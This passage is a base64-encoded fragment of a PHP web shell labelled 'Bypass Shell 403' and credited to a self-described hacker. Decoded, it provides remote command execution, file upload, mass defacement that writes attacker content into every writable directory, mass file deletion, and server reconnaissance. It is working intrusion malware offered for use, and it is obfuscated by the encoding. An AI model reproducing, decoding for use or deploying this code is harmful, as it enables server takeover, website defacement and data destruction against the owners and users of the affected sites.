lYygkY21kLCAkb3V0cHV0KTsNCgkJCXZhcl9kdW1wKCRvdXRwdXQpOw0KCQkJYnJlYWs7DQoJCWNhc2UgInNoZWxsX2V4ZWMiOg0KCQkJZWNobyBzaGVsbF9leGVjKCRjbWQpOw0KCQkJYnJlYWs7DQoJfQ0KfQ0KJGNtZCA9IGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWyJjbWQiXSk7DQokbWV0aG9kID0gaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbImV4ZWNDTUQiXSk7DQoJDQpmdW5jdGlvbiBwKCRmaWxlKXsNCiRwID0gZmlsZXBlcm1zKCRmaWxlKTsNCmlmICgoJHAgJiAweEMwMDApID09IDB4QzAwMCkgew0KJGkgPSAncyc7DQp9IGVsc2VpZiAoKCRwICYgMHhBMDAwKSA9PSAweEEwMDApIHsNCiRpID0gJ2wnOw0KfSBlbHNlaWYgKCgkcCAmIDB4ODAwMCkgPT0gMHg4MDAwKSB7DQokaSA9ICctJzsNCn0gZWxzZWlmICgoJHAgJiAweDYwMDApID09IDB4NjAwMCkgew0KJGkgPSAnYic7DQp9IGVsc2VpZiAoKCRwICYgMHg0MDAwKSA9PSAweDQwMDApIHsNCiRpID0gJ2QnOw0KfSBlbHNlaWYgKCgkcCAmIDB4MjAwMCkgPT0gMHgyMDAwKSB7DQokaSA9ICdjJzsNCn0gZWxzZWlmICgoJHAgJiAweDEwMDApID09IDB4MTAwMCkgew0KJGkgPSAncCc7DQp9IGVsc2Ugew0KJGkgPSAndSc7DQoJfQ0KJGkgLj0gKCgkcCAmIDB4MDEwMCkgPyAncicgOiAnLScpOw0KJGkgLj0gKCgkcCAmIDB4MDA4MCkgPyAndycgOiAnLScpOw0KJGkgLj0gKCgkcCAmIDB4MDA0MCkgPw0KKCgkcCAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6DQooKCRwICYgMHgwODAwKSA/ICdTJyA6ICctJykpOw0KJGkgLj0gKCgkcCAmIDB4MDAyMCkgPyAncicgOiAnLScpOw0KJGkgLj0gKCgkcCAmIDB4MDAxMCkgPyAndycgOiAnLScpOw0KJGkgLj0gKCgkcCAmIDB4MDAwOCkgPw0KKCgkcCAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6DQooKCRwICYgMHgwNDAwKSA/ICdTJyA6ICctJykpOw0KJGkgLj0gKCgkcCAmIDB4MDAwNCkgPyAncicgOiAnLScpOw0KJGkgLj0gKCgkcCAmIDB4MDAwMikgPyAndycgOiAnLScpOw0KJGkgLj0gKCgkcCAmIDB4MDAwMSkgPw0KKCgkcCAmIDB4MDIwMCkgPyAndCcgOiAneCcgKSA6DQooKCRwICYgMHgwMjAwKSA/ICdUJyA6ICctJykpOw0KcmV0dXJuICRpOw0KZXhpdCgpOw0KCX0NCmVjaG8gIg0KPCFET0NUWVBFIEhUTUw+DQo8aHRtbD4NCgk8aGVhZD4NCgkJPG1ldGEgbmFtZT0nYXV0aG9yJyBjb250ZW50PSck4pabJz4NCgkJPG1ldGEgbmFtZT0ncm9ib3RzJyBjb250ZW50PSdOT0lOREVYLCBOT0ZPTExPVyc+DQoJCTx0aXRsZT4iLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4iIC0gJOKWmyA0MDM8L3RpdGxlPg0KCQk8bWV0YSBuYW1lPSd2aWV3cG9ydCcgY29udGVudD0nd2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTAuNzAsIHVzZXItc2NhbGFibGU9bm8nPg0KCQk8bGluayByZWw9J3N0eWxlc2hlZXQnIGhyZWY9Jy8vdW5rbm93bnNlYy5mdHAuc2gvbWFpbi9zdHlsZS5jc3MnPg0KCQk8c2NyaXB0IHNyYz0nLy9tYXhjZG4uYm9vdHN0cmFwY2RuLmNvbS9ib290c3RyYXAvNC4zLjEvanMvYm9vdHN0cmFwLm1pbi5qcyc+PC9zY3JpcHQ+DQoJCTxzY3JpcHQgc3JjPScvL2NkbmpzLmNsb3VkZmxhcmUuY29tL2FqYXgvbGlicy9saW1vbnRlLXN3ZWV0YWxlcnQyLzcuMzMuMS9zd2VldGFsZXJ0Mi5taW4uanMnPjwvc2NyaXB0Pg0KCTwvaGVhZD4NCjxib2R5IGNsYXNzPSdiZy1zZWNvbmRhcnkgdGV4dC1saWdodCc+DQo8ZGl2IGNsYXNzPSdjb250YWluZXItZmx1aWQnPg0KCTxkaXYgY2xhc3M9J3B5LTMnIGlkPSdtYWluJz4NCgkJPGRpdiBjbGFzcz0nYm94IHNoYWRvdyBiZy1kYXJrIHAtNCByb3VuZGVkLTMnPg0KCQk8YSBjbGFzcz0ndGV4dC1kZWNvcmF0aW9uLW5vbmUgdGV4dC1saWdodCcgaHJlZj0nIi4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iJz48aDQ+JOKWmyBCeXBhc3MgU2hlbGwgPGkgY2xhc3M9J2JpIGJpLWJ1Zy1maWxsJz48L2k+IDQwMzwvaDQ+PC9hPiI7DQoJCWlmKGlzc2V0KCRfR0VUWydwYXRoJ10pKXsNCgkJCSRwYXRoID0gJF9HRVRbJ3BhdGgnXTsNCgkJfWVsc2V7DQoJCQkkcGF0aCA9IGdldGN3ZCgpOw0KCX0NCgkJCSRwYXRoID0gc3RyX3JlcGxhY2UoJ1xcJywnLycsJHBhdGgpOw0KCQkJJHBhdGhzID0gZXhwbG9kZSgnLycsJHBhdGgpOw0KCQlmb3JlYWNoKCRwYXRocyBhcyAkaWQ9PiRwYXQpew0KCQlpZigkcGF0ID09ICcnICYmICRpZCA9PSAwKXsNCgkJCSRhID0gdHJ1ZTsNCgkJCWVjaG8gJzxpIGNsYXNzPSJiaSBiaS1oZGQtcmFjayI+PC9pPiA6IDxhIGNsYXNzPSJ0ZXh0LWRlY29yYXRpb24tbm9uZSB0ZXh0LWxpZ2h0IiBocmVmPSI/cGF0aD0vIj4vPC9hPic7DQoJCWNvbnRpbnVlOw0KCX0NCgkJaWYoJHBhdCA9PSAnJykgY29udGludWU7DQoJCQllY2hvICc8YSBjbGFzcz0idGV4dC1kZWNvcmF0aW9uLW5vbmUiIGhyZWY9Ij9wYXRoPSc7DQoJCWZvcigkaT0wOyRpPD0kaWQ7JGkrKyl7DQoJCQllY2hvICIkcGF0aHNbJGldIjsNCgkJaWYoJGkgIT0gJGlkKSBlY2hvICIvIjsNCgl9DQoJCWVjaG8gJyI+Jy4kcGF0Lic8L2E+Lyc7DQoJfQ0KCQllY2hvICIgWyAiLuKWnygkcGF0aCwgcCgkcGF0aCkpLiIgXSI7DQplY2hvICINCjxkaXYgY2xhc3M9J2Ryb3Bkb3duJz4NCgk8YnV0dG9uIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgZHJvcGRvd24tdG9nZ2xlIGJ0bi1zbScgdHlwZT0nYnV0dG9uJyBpZD0nZHJvcGRvd25NZW51QnV0dG9uJyBkYXRhLXRvZ2dsZT0nZHJvcGRvd24nIGFyaWEtaGFzcG9wdXA9J3RydWUnIGFyaWEtZXhwYW5kZWQ9J2ZhbHNlJz48aSBjbGFzcz0nYmkgYmktbWVudS1kb3duJz48L2k+Jm5ic3A7TWVudTwvYnV0dG9uPg0KCTxkaXYgY2xhc3M9J2Ryb3Bkb3duLW1lbnUnPg0KCQk8YSBjbGFzcz0nZHJvcGRvd24taXRlbScgaHJlZj0nP3BhdGg9JHBhdGgmZGlyPSRwYXRoJmlkPXVwbG9hZCc+PGkgY2xhc3M9J2JpIGJpLXVwbG9hZCc+PC9pPiBVcGxvYWQ8L2E+DQoJCTxhIGNsYXNzPSdkcm9wZG93bi1pdGVtJyBocmVmPSc/cGF0aD0kcGF0aCZkaXI9JHBhdGgmaWQ9ZGVwZXMnPjxpIGNsYXNzPSdiaSBiaS1leGNsYW1hdGlvbi1kaWFtb25kJz48L2k+IE1hc3MgRGVmYWNlPC9hPg0KCQk8YSBjbGFzcz0nZHJvcGRvd24taXRlbScgaHJlZj0nP3BhdGg9JHBhdGgmZGlyPSRwYXRoJmlkPWRlbGV0ZSc+PGkgY2xhc3M9J2JpIGJpLXRyYXNoJz48L2k+IE1hc3MgZGVsZXRlPC9hPg0KCQk8YSBjbGFzcz0nZHJvcGRvd24taXRlbScgaHJlZj0nP3BhdGg9JHBhdGgmZGlyPSRwYXRoJmlkPWNtZCc+PGkgY2xhc3M9J2JpIGJpLXRlcm1pbmFsJz48L2k+IFRlcm1pbmFsPC9hPg0KCQk8YSBjbGFzcz0nZHJvcGRvd24taXRlbScgaHJlZj0nP3BhdGg9JHBhdGgmZGlyPSRwYXRoJmlkPWluZm8nPjxpIGNsYXNzPSdiaSBiaS1pbmZvLWNpcmNsZSc+PC9pPiBJbmZvIHNlcnZlcjwvYT4NCgkJPGEgY2xhc3M9J2Ryb3Bkb3duLWl0ZW0nIGhyZWY9Jz9wYXRoPSRwYXRoJmRpcj0kcGF0aCZpZD1hYm91dCc+PGkgY2xhc3M9J2JpIGJpLWluZm8nPjwvaT4gQWJvdXQ8L2E+PC9oNT4NCgk8L2Rpdj4NCjwvZGl2PiI7DQovLyB0b29scyBueWENCmlmKGlzc2V0KCRfR0VUWydkaXInXSkpIHsNCgkkZGlyID0gJF9HRVRbJ2RpciddOw0KCWNoZGlyKCRkaXIpOw0KfSBlbHNlIHsNCgkkZGlyID0gZ2V0Y3dkKCk7DQp9DQokZGlyID0gc3RyX3JlcGxhY2UoIlxcIiwiLyIsJGRpcik7DQokc2NkaXIgPSBleHBsb2RlKCIvIiwgJGRpcik7CQ0KCWZvcigkaSA9IDA7ICRpIDw9ICRjX2RpcjsgJGkrKykgew0KCQkkc2NkaXJbJGldOw0KCQlpZigkaSAhPSAkY19kaXIpIHsNCgkJfQ0KZWxzZWlmKCRfR0VUWydpZCddID09ICdkZXBlcycpew0KCWZ1bmN0aW9uIG1hc3Nfa2FiZWgoJGRpciwkbmFtYWZpbGUsJGlzaV9zY3JpcHQpIHsNCglpZihpc193cml0YWJsZSgkZGlyKSkgew0KCQkkZGlyYSA9IHNjYW5kaXIoJGRpcik7DQoJCWZvcmVhY2goJGRpcmEgYXMgJGRpcmIpIHsNCgkJCSRkaXJjID0gIiRkaXIvJGRpcmIiOw0KCQkJJOKWmiA9ICRkaXJjLicvJy4kbmFtYWZpbGU7DQoJCQlpZigkZGlyYiA9PT0gJy4nKSB7DQoJCQkJZmlsZV9wdXRfY29udGVudHMoJOKWmiwgJGlzaV9zY3JpcHQpOw0KCQkJfSBlbHNlaWYoJGRpcmIgPT09ICcuLicpIHsNCgkJCQlmaWxlX3B1dF9jb250ZW50cygk4paaLCAkaXNpX3NjcmlwdCk7DQoJCQl9IGVsc2Ugew0KCQkJCWlmKGlzX2RpcigkZGlyYykpIHsNCgkJCQkJaWYoaXNfd3JpdGFibGUoJGRpcmMpKSB7DQoJCQkJCQllY2hvICJbPGZvbnQgY29sb3I9Z3JlZW4+c3VjY2VzczwvZm9udD5dICTilpo8YnI+IjsNCgkJCQkJCWZpbGVfcHV0X2NvbnRlbnRzKCTilposICRpc2lfc2NyaXB0KTsNCgkJCQkJCSTilp8gPSBtYXNzX2thYmVoKCRkaXJjLCRuYW1hZmlsZSwkaXNpX3NjcmlwdCk7DQoJCQkJCX0NCgkJCQl9DQoJCQl9DQoJCX0NCgl9DQp9DQpmdW5jdGlvbiBtYXNzX2JpYXNhKCRkaXIsJG5hbWFmaWxlLCRpc2lfc2NyaXB0KSB7DQoJaWYoaXNfd3JpdGFibGUoJGRpcikpIHsNCgkJJGRpcmEgPSBzY2FuZGlyKCRkaXIpOw0KCQlmb3JlYWNoKCRkaXJhIGFzICRkaXJiKSB7DQoJCQkkZGlyYyA9ICIkZGlyLyRkaXJiIjsNCgkJCSTilpogPSAkZGlyYy4nLycuJG5hbWFmaWxlOw0KCQkJaWYoJGRpcmIgPT09ICcuJykgew0KCQkJCWZpbGVfcHV0X2NvbnRlbnRzKCTilposICRpc2lfc2NyaXB0KTsNCgkJCX0gZWxzZWlmKCRkaXJiID09PSAnLi4nKSB7DQoJCQkJZmlsZV9wdXRfY29udGVudHMoJOKWmiwgJGlzaV9zY3JpcHQpOw0KCQkJfSBlbHNlIHsNCgkJCQlpZihpc19kaXIoJGRpcmMpKSB7DQoJCQkJCWlmKGlzX3dyaXRhYmxlKCRkaXJjKSkgew0KCQkJCQkJZWNobyAiWzxmb250IGNvbG9yPWdyZWVuPnN1Y2Nlc3M8L2ZvbnQ+XSAkZGlyYi8kbmFtYWZpbGU8YnI+IjsNCgkJCQkJCWZpbGVfcHV0X2NvbnRlbnRzKCTilposICRpc2lfc2NyaXB0KTsNCgkJCQkJfQ0KCQkJCX0NCgkJCX0NCgkJfQ0KCX0NCn0NCmlmKCRfUE9TVFsnc3RhcnQnXSkgew0KCWlmKCRfUE9TVFsndGlwZSddID09ICdtYXNzYWwnKSB7DQoJCWVjaG8gIjxkaXYgc3R5bGU9J21hcmdpbjogNXB4IGF1dG87IHBhZGRpbmc6IDVweCc+IjsNCgltYXNzX2thYmVoKCRfUE9TVFsnZF9kaXInXSwgJF9QT1NUWydkX2ZpbGUnXSwgJF9QT1NUWydzY3JpcHQnXSk7DQoJCWVjaG8gIjwvZGl2PiI7DQoJfSBlbHNlaWYoJF9QT1NUWyd0aXBlJ10gPT0gJ2JpYXNhJykgew0KCQllY2hvICI8ZGl2IHN0eWxlPSdtYXJnaW46IDVweCBhdXRvOyBwYWRkaW5nOiA1cHgnPiI7DQoJbWFzc19iaWFzYSgkX1BPU1RbJ2RfZGlyJ10sICRfUE9TVFsnZF9maWxlJ10sICRfUE9TVFsnc2NyaXB0J10pOw0KCQllY2hvICI8L2Rpdj4iOw0KCX0NCn0gZWxzZSB7DQplY2hvICI8YnIgLz4k4paYDQo8Zm9ybSBtZXRob2Q9J3Bvc3QnPg0KCTxiPlRpcGU6PC9iPjxicj4NCjxkaXYgY2xhc3M9J2N1c3RvbS1jb250cm9sIGN1c3RvbS1zd2l0Y2gnPg0KCTxpbnB1dCB0eXBlPSdjaGVja2JveCcgaWQ9J2N1c3RvbVN3aXRjaCcgY2xhc3M9J2N1c3RvbS1jb250cm9sLWlucHV0JyBuYW1lPSd0aXBlJyB2YWx1ZT0nYmlhc2EnPg0KCTxsYWJlbCBjbGFzcz0nY3VzdG9tLWNvbnRyb2wtbGFiZWwnIGZvcj0nY3VzdG9tU3dpdGNoJz5CaWFzYTwvbGFiZWw+DQo8L2Rpdj4NCjxkaXYgY2xhc3M9J2N1c3RvbS1jb250cm9sIGN1c3RvbS1zd2l0Y2gnPg0KCTxpbnB1dCB0eXBlPSdjaGVja2JveCcgaWQ9J2N1c3RvbVN3aXRjaDEnIGNsYXNzPSdjdXN0b20tY29udHJvbC1pbnB1dCcgbmFtZT0ndGlwZScgdmFsdWU9J21hc3NhbCc+DQoJPGxhYmVsIGNsYXNzPSdjdXN0b20tY29udHJvbC1sYWJlbCcgZm9yPSdjdXN0b21Td2l0Y2gxJz5NYXNzYWw8L2xhYmVsPg0KPC9kaXY+DQoJPGI+PGkgY2xhc3M9J2JpIGJpLWZvbGRlcic+PC9pPiBMb2thc2k6PC9iPg0KCTxpbnB1dCBjbGFzcz0nZm9ybS1jb250cm9sJyB0eXBlPSd0ZXh0JyBuYW1lPSdkX2RpcicgdmFsdWU9JyRkaXInIGhlaWdodD0nMTAnPg0KCTxiPjxpIGNsYXNzPSdiaSBiaS1maWxlLWVhcm1hcmsnPjwvaT4gRmlsZSBuYW1lOjwvYj4NCgk8aW5wdXQgY2xhc3M9J2Zvcm0tY29udHJvbCcgdHlwZT0ndGV4dCcgbmFtZT0nZF9maWxlJyBwbGFjZWhvbGRlcj0nbmFtZSBmaWxlJyBoZWlnaHQ9JzEwJz4NCgk8Yj48aSBjbGFzcz0nYmkgYmktZmlsZS1lYXJtYXJrJz48L2k+IFlvdXIgc2NyaXB0OjwvYj4NCgk8dGV4dGFyZWEgY2xhc3M9J2Zvcm0tY29udHJvbCcgcm93cz0nNycgbmFtZT0nc2NyaXB0JyBwbGFjZWhvbGRlcj0neW91ciBzZWNyaXB0IGhlcmUnPjwvdGV4dGFyZWE+PGJyIC8+DQoJPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nc3RhcnQnIHZhbHVlPSdHbycgY2xhc3M9J2J0biBidG4tb3V0bGluZS1saWdodCc+DQo8L2Zvcm0+IjsNCgl9DQp9DQplbHNlaWYoJF9HRVRbJ2lkJ10gPT0gJ2luZm8nKXsNCiRkaXNmdW5jID0gQGluaV9nZXQoImRpc2FibGVfZnVuY3Rpb25zIik7DQppZiAoZW1wdHkoJGRpc2Z1bmMpKSB7DQoJJGRpc2ZjID0gIjxmb250IGNvbG9yPWdyZWVuPk5PTkU8L2ZvbnQ+IjsNCn0gZWxzZSB7DQoJJGRpc2ZjID0gIjxmb250IGNvbG9yPXJlZD4kZGlzZnVuYzwvZm9udD4iOw0KfQ0KaWYoIWZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKSB7DQoJJHVzZXIgPSBAZ2V0X2N1cnJlbnRfdXNlcigpOw0KCSR1aWQgPSBAZ2V0bXl1aWQoKTsNCgkkZ2lkID0gQGdldG15Z2lkKCk7DQoJJGdyb3VwID0gIj8iOw0KfSBlbHNlIHsNCgkkdWlkID0gQHBvc2l4X2dldHB3dWlkKHBvc2l4X2dldGV1aWQoKSk7DQoJJGdpZCA9IEBwb3NpeF9nZXRncmdpZChwb3NpeF9nZXRlZ2lkKCkpOw0KCSR1c2VyID0gJHVpZFsnbmFtZSddOw0KCSR1aWQgPSAkdWlkWyd1aWQnXTsNCgkkZ3JvdXAgPSAkZ2lkWyduYW1lJ107DQoJJGdpZCA9ICRnaWRbJ2dpZCddOw0KfQ0KJHNtID0gKEBpbmlfZ2V0KHN0cnRvbG93ZXIoInNhZmVfbW9kZSIpKSA9PSAnb24nKSA/ICI8Zm9udCBjb2xvcj1yZWQ+T048L2ZvbnQ+IiA6ICI8Zm9udCBjb2xvcj1ncmVlbj5PRkY8L2ZvbnQ+IjsNCmVjaG8gJzxiciAvPicuJOKWmC4nDQo8ZGl2IGNsYXNzPSJjb250YWluZXIiPg0KCTxkaXYgY2xhc3M9ImNhcmQgdGV4dC1kYXJrIj4NCgkJPGRpdiBjbGFzcz0iY2FyZC1oZWFkZXIiPic7DQplY2hvICI8Yj5VbmFtZTogPC9iPjxmb250IGNvbG9yPWdyZWVuPiIucGhwX3VuYW1lKCkuIjwvZm9udD48YnIgLz4iOw0KZWNobyAiPGI+U29mdHdhcmU6IDwvYj48Zm9udCBjb2xvcj1ncmVlbj4iLiRfU0VSVkVSWydTRVJWRVJfU09GVFdBUkUnXS4iPC9mb250PjxiciAvPiI7DQplY2hvICI8Yj5QSFAgdmVyc2lvbjogPC9iPjxmb250IGNvbG9yPWdyZWVuPiIuUEhQX1ZFUlNJT04uIjwvZm9udD4gPGI+UEhQIG9zOjwvYj4gPGZvbnQgY29sb3I9Z3JlZW4+Ii5QSFBfT1MuIjwvZm9udD48YnIgLz4iOw0KZWNobyAiPGI+U2VydmVyIElwOiA8L2I+PGZvbnQgY29sb3I9Z3JlZW4+Ii5nZXRob3N0YnluYW1lKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuIjwvZm9udD48YnIgLz4iOw0KZWNobyAiPGI+WW91ciBJcDogPC9iPjxmb250IGNvbG9yPWdyZWVuPiIuaXAoKS4iPC9mb250PjxiciAvPiI7DQplY2hvICI8Yj5Vc2VyOiA8L2I+PGZvbnQgY29sb3I9Z3JlZW4+JHVzZXI8L2ZvbnQ+ICgkdWlkKSB8IDxiPkdyb3VwOjwvYj4gPGZvbnQgY29sb3I9Z3JlZW4+JGdyb3VwPC9mb250PiAoJGdpZCk8YnIgLz4iOw0KZWNobyAiPGI+U2FmZSBNb2RlOiA8L2I+JHNtPGJyIC8+IjsNCmVjaG8gIjxrYmQ+RGlzYWJsZSBGdW5jdGlvbjo8L2tiZD48cHJlPiRkaXNmYzwvcHJlPiI7DQoJZWNobyAnPC9kaXY+DQoJPC9kaXY+DQo8L2Rpdj4nOw0KfQ0KZWxzZWlmKCRfR0VUWydpZCddID09ICdhYm91dCcpew0KZWNobyAnPGJyIC8+Jy4k4paYLicNCjxkaXYgY2xhc3M9ImNvbnRhaW5lciI+DQoJPGRpdiBjbGFzcz0iY2FyZCB0ZXh0LWRhcmsiPg0KCQk8ZGl2IGNsYXNzPSJjYXJkLWhlYWRlciI+JzsNCmVjaG8gIjxpbWcgYWx0PSdNcmogSGF4Y29yZScgY2xhc3M9J2ltZy10aHVtYm5haWwgcm91bmRlZCBteC1hdXRvIGQtYmxvY2snIHNyYz0naHR0cHM6Ly9pLmliYi5jby9IWDlQNXhDL2pqLmpwZycgd2lkdGg9JzE1MHB4Jz4iOw0KZWNobyAiPGI+LSBBYm91dCBVcyAtPC9iPjxiciAvPiI7DQplY2hvICIgfHwgTXJKIEhheGNvcmUgaXMgb25lIG9mIHRoZSBncmVhdCBwZW50ZXN0ZXIgaW4gdGhlIFBoaWxpcHBpbmVzIGEgbG90IG9mIHNraWxscyBhbmQgdGFsZW50IG9uIGV4ZWN1dGluZyBkaWZmZXJlbnQgY29tbWFuZHMgb24gcGVudGVzdGluZy4gQW5kIGFsc28gYSBtZW1iZXIgb2YgU2tpZFNlYyBQaGlsaXBwaW5lcyBhbmQgUGhpbGlwcGluZSBDeWJlciBNYWZpYSB8fCA8YnIgLz5HcmVldHogOiA8YSBocmVmPScnPnsgU2tpZFNlY1BoaWxpcHBpbmVzIHx8ICBQaGlsaXBwaW5lQ3liZXJNYWZpYSB9IC0gQW5kIHRvIFlvdTwvYT48YnIgLz5NeSBlbWFpbDogPGEgaHJlZj0nbWFpbHRvOmplZmZyZWV6eXRAZ21haWwuY29tJz5qZWZmcmVlenl0QGdtYWlsLmNvbTwvYT4iOw0KCWVjaG8gJzwvZGl2Pg0KCTwvZGl2Pg0KPC9kaXY+JzsNCn0NCmVsc2VpZigkX0dFVFsnaWQnXSA9PSAnY21kJykgew0KZWNobyAiJOKWmDxicj4NCjxmb3JtIG1ldGhvZD0nUE9TVCc+DQo8ZGl2IGNsYXNzPSdpbnB1dC1ncm91cCBtYi0zJz4NCgk8aW5wdXQgY2xhc3M9J2Zvcm0tY29udHJvbCcgdHlwZT0ndGV4dCcgbmFtZT0nY21kJyB2YWx1ZT0nJGNtZCc+DQoJPHNlbGVjdCBjbGFzcz0nYmctZGFyayB0ZXh0LWxpZ2h0IGZvcm0tY29udHJvbCcgbmFtZT0nZXhlY0NNRCc+DQoJCTxvcHRpb24+JG1ldGhvZDwvb3B0aW9uPiI7DQpvYl9zdGFydCgpOw0KCSRtZXRob2RBcnJheSA9IGVrc2UoKTsNCglvYl9lbmRfY2xlYW4oKTsNCmZvcmVhY2ggKCRtZXRob2RBcnJheSBhcyAkdmFsdWUpIHsNCgllY2hvICI8b3B0aW9uPiR2YWx1ZTwvb3B0aW9uPiI7DQoJfQkJDQplY2hvICc8L3NlbGVjdD4NCgk8L2Rpdj4NCjwvZm9ybT4nOw0KaWYoJGNtZCA9PSAiIikgew0KZWNobyAiDQo8ZGl2IGNsYXNzPSdjYXJkIHRleHQtZGFyayc+DQoJPGRpdiBjbGFzcz0nY2FyZC1oZWFkZXInPg0KCQk8cHJlPiI7DQoJCWVrc2VDTUQoIndob2FtaSIsICRtZXRob2QpOw0KCQllY2hvICc8L3ByZT4NCgk8L2Rpdj4NCjwvZGl2Pic7DQp9ZWxzZSB7DQplY2hvICINCjxkaXYgY2xhc3M9J2NhcmQgdGV4dC1kYXJrJz4NCgk8ZGl2IGNsYXNzPSdjYXJkLWhlYWRlcic+DQoJCTxwcmU+PGtiZD5+JCZlbnNwOyIuJGNtZC4iPC9rYmQ+PGJyPiI7DQoJCWVrc2VDTUQoJGNtZCwgJG1ldGhvZCk7DQoJCWVjaG8gIjwvcHJlPg0KCTwvZGl2Pg0KPC9kaXY+IjsNCn0NCn0NCmVsc2VpZigkX0dFVFsnaWQnXSA9PSAndXBsb2FkJyl7DQplY2hvICc8YnIgLz4nLiTilpguJw0KPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+DQoJPGRpdiBjbGFzcz0iaW5wdXQtZ3JvdXAgbWItMyB0ZXh0LWNlbnRlciI+DQoJCTxpbnB1dCB0eXBlPSJmaWxlIiBjbGFzcz0iZm9ybS1jb250cm9sIGZvcm0tY29udHJvbC1zbSIgbmFtZT0iZmlsZSI+DQoJCTxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbSI+U3VibWl0PC9idXR0b24+DQoJPC9kaXY+DQo8L2Zvcm0+JzsNCmlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpew0KaWYoY29weSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sJHBhdGguJy8nLiRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSl7DQplY2hvICcNCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NClN3YWwuZmlyZSgNCiAgIlN1Y2Nlc3MiLA0KICAiU3VjY2VzcyB1cGxvYWQiLA0KICAic3VjY2VzcyINCikudGhlbigoYnRuQ2xpY2spID0+IHtpZihidG5DbGljayl7ZG9jdW1lbnQubG9jYXRpb24uaHJlZj0iP3BhdGg9Jy4kcGF0aC4nIn19KTwvc2NyaXB0Pg0KJzsNCn1lbHNlew0KZWNobyAnDQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQpTd2FsLmZpcmUoDQogICJPcHNzcyIsDQogICJGYWlsZWQgdXBsb2FkIiwNCiAgImVycm9yIg0KKS50aGVuKChidG5DbGljaykgPT4ge2lmKGJ0bkNsaWNrKXtkb2N1bWVudC5sb2NhdGlvbi5ocmVmPSI/cGF0aD0nLiRwYXRoLicifX0pPC9zY3JpcHQ+DQonOw0KfQ0KCX0NCn0NCmVsc2VpZigkX0dFVFsnaWQnXSA9PSAnZGVsZXRlJyl7DQpmdW5jdGlvbiBoYXB1c19tYXNzYWwoJGRpciwkbmFtYWZpbGUpIHsNCglpZihpc193cml0YWJsZSgkZGlyKSkgew0KCQkkZGlyYSA9IHNjYW5kaXIoJGRpcik7DQoJCWZvcmVhY2goJGRpcmEgYXMgJGRpcmIpIHsNCgkJCSRkaXJjID0gIiRkaXIvJGRpcmIiOw0KCQkJJOKWmiA9ICRkaXJjLicvJy4kbmFtYWZpbGU7DQoJCQlpZigkZGlyYiA9PT0gJy4nKSB7DQoJCQkJaWYoZmlsZV9leGlzdHMoIiRkaXIvJG5hbWFmaWxlIikpIHsNCgkJCQkJdW5saW5rKCIkZGlyLyRuYW1hZmlsZSIpOw0KCQkJCX0NCgkJCX0gZWxzZWlmKCRkaXJiID09PSAnLi4nKSB7DQoJCQkJaWYoZmlsZV9leGlzdHMoIiIuZGlybmFtZSgkZGlyKS4iLyRuYW1hZmlsZSIpKSB7DQoJCQkJCXVubGluaygiIi5kaXJuYW1lKCRkaXIpLiIvJG5hbWFmaWxlIik7DQoJCQkJfQ0KCQkJfSBlbHNlIHsNCgkJCQlpZihpc19kaXIoJGRpcmMpKSB7DQoJCQkJCWlmKGlzX3dyaXRhYmxlKCRkaXJjKSkgew0KCQkJCQkJaWYoZmlsZV9leGlzdHMoJOKWmikpIHsNCgkJCQkJCQllY2hvICJbPGZvbnQgY29sb3I9Z3JlZW4+ZGVsZXRlZDwvZm9udD5dICTilpo8YnI+IjsNCgkJCQkJCQl1bmxpbmsoJOKWmik7DQoJCQkJCQkJJOKWnyA9IGhhcHVzX21hc3NhbCgkZGlyYywkbmFtYWZpbGUpOw0KCQkJCQkJfQ0KCQkJCQl9DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJfQ0KfQ0KaWYoJF9QT1NUWydzdGFydCddKSB7DQplY2hvICI8ZGl2IHN0eWxlPSdtYXJnaW46IDVweCBhdXRvOyBwYWRkaW5nOiA1cHgnPiI7DQoJaGFwdXNfbWFzc2FsKCRfUE9TVFsnZF9kaXInXSwgJF9QT1NUWydkX2ZpbGUnXSk7DQplY2hvICI8L2Rpdj4iOw0KfSBlbHNlIHsNCmVjaG8gIjxiciAvPiTilpgNCjxmb3JtIG1ldGhvZD0ncG9zdCc+DQoJPGI+PGkgY2xhc3M9J2JpIGJpLWZvbGRlcic+PC9pPiBMb2thc2k6PC9iPg0KCTxpbnB1dCBjbGFzcz0nZm9ybS1jb250cm9sJyB0eXBlPSd0ZXh0JyBuYW1lPSdkX2RpcicgdmFsdWU9JyRkaXInIGhlaWdodD0nMTAnPg0KCTxiPjxpIGNsYXNzPSdiaSBiaS1maWxlLWVhcm1hcmsnPjwvaT4gRmlsZSBuYW1lOjwvYj4NCgk8ZGl2IGNsYXNzPSdpbnB1dC1ncm91cCBtYi0zJz4NCgk8aW5wdXQgY2xhc3M9J2Zvcm0tY29udHJvbCcgdHlwZT0ndGV4dCcgbmFtZT0nZF9maWxlJyBwbGFjZWhvbGRlcj0nbmFtZSBmaWxlJyBoZWlnaHQ9JzEwJz48YnI+DQoJPGRpdiBjbGFzcz0naW5wdXQtZ3JvdXAtYXBwZW5kJz4NCgk8aW5wdXQgY2xhc3M9J2J0biBidG4tb3V0bGluZS1saWdodCcgdHlwZT0nc3VibWl0JyBuYW1lPSdzdGFydCcgdmFsdWU9J0dvJz4NCjwvZm9ybT4NCgk8L2Rpdj4NCgk8L2Rpdj4iOw0KCQl9DQoJfQ0KfQ0KLy8gYWtoaXIgdG9vbHMNCmlmKGlzc2V0KCRf